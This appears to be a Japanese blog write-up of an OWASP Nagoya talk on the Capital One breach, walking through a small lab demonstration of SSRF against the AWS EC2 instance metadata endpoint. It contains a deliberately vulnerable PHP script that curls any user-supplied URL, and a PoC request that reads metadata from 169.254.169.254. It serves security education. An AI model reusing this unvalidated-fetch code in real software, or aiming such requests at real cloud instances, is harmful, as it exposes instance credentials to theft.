#OWASP Nagoya
Little Deep Dive AWS Security
by 田中隆博 氏
AWS Solutions Architect
ラーメン好き
テーマ
Capital One で発生した情報漏洩事象を題材に、Server Side Request Forgeryを利用したクラウド上のメタ情報の窃取手法について
Capital Oneの漏洩事例
Slack Channel へ投稿
I’ve basically strapped myself with a bomb vest, f—ing dropping Capital One dox and admitting it. I wanna distribute those buckets …There’s SSNs..with full name and [date of birth].
Paige A. Thompson
・・・そして発覚
2005年から2019年にかけてクレジットカードの申請をした人など、1億600万人分の個人情報が不正アクセスをうけた事が判明。
[Matt Forbes - 'Mad About You' ]
(https://youtu.be/gl9RNFALTgw)が流れてきそうですね♪
##Let's hands on
SSRF・・・何やら面白そう、なので実際試してみようと思います。
PoC(proof of concept)
目標はEC2のクレデンシャルを読み込んで、ブラウザへ不正に表示させます。・・・現時点でクレデンシャルが取れないので代わりにOpen SSH Public keyを取得しました。
http://ec2-0-0-0-0.us-east-2.compute.amazonaws.com/ssrf.php?url=http://169.254.169.254/latest/meta-data//public-keys/0/openssh-key
なお、PHPのcurlを悪用するコード元々正当な目的でcurlを利用しているコードを、SSRF攻撃のためにサーバー側で用意したいと思います。徳丸氏のブログから参照しました。
ssrf.php
<?php
require_once('./htmlpurifier/library/HTMLPurifier.includes.php');
$purifier = new HTMLPurifier();
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$html = curl_exec($ch);
echo $purifier->purify($html);
-
AWS無料枠だけで構築します。こちらから申し込みます。
AWS のプラットフォーム、製品、サービスを無料で実際に体験できます。 -
HTMLPurifierを利用するため、Composerをインストール、バージョンを確認します。
$ composer
______
/ ____/___ ____ ___ ____ ____ ________ _____
/ / / __ \/ __ `__ \/ __ \/ __ \/ ___/ _ \/ ___/
/ /___/ /_/ / / / / / / /_/ / /_/ (__ ) __/ /
\____/\____/_/ /_/ /_/ .___/\____/____/\___/_/
/_/
Composer version 1.9.1 2019-11-01 17:20:17
先ほどのssrf.phpをnginxのドキュメントルートへ配置したら完成です!
確認のため以下のURLを指定してホームーページを表示したところです。
http://ec2-0-0-0-0.us-east-2.compute.amazonaws.com/ssrf.php?url=https://qualias.net
AWSの仕様として実行中のインスタンスからインスタンスメタデータが取得できることでPHP curlを使えば、SSRFができることも、何となく分かりました。今日のところは時間切れです。
時間があれば一時的セキュリティ認証情報の使用も試したい。
更に技術的な方法論については、こちらに記載されています。
Riyaz Walikar / An SSRF, privileged AWS keys and the Capital One breach
Ravi Ivaturi / Capital One Security Incident & Key Lessons, so far anyway.